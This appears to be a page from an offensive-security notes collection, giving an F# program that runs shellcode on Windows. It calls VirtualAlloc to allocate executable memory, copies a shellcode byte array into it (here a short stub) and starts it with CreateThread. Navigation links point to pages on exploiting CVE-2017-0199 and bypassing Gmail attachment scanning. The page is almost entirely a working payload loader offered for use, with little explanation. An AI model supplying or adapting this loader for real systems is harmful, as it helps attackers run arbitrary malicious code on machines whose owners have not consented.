F# Shellcode Execution
open System.Runtime.InteropServices
open System.Threading
[<DllImport "kernel32" >]
extern nativeint VirtualAlloc(
nativeint lpStartAddress,
uint32 dwSize,
uint32 flAllocationType,
uint32 flProtect)
[<DllImport "kernel32" >]
extern nativeint CreateThread(
uint32 lpThreadAttributes,
uint32 dwStackSize,
nativeint lpStartAddress,
uint32& param,
uint32 dwCreationFlags,
uint32& lpThreadId)
[<DllImport "kernel32" >]
extern nativeint WaitForSingleObject(
nativeint hHandle,
uint32 dwMilliseconds)
let mutable threadId : uint32 = (uint32)0
let mutable pInfo : uint32 = (uint32)0
let mutable shellcode : byte[] = [|0xfcuy;0xe8uy;0x89uy;|]
let address = VirtualAlloc((nativeint)0, (uint32)shellcode.Length, (uint32)0x1000, (uint32)0x40)
Marshal.Copy(shellcode, 0, address, shellcode.Length)
let hThread = CreateThread((uint32)0,(uint32)0, address, &pInfo, (uint32)0, &threadId)
WaitForSingleObject(hThread, (uint32)0xFFFFFFFF) |> ignorePreviousExploiting CVE-2017–0199: HTA Handler VulnerabilityNextBypassing Gmail Attachment Virus Check
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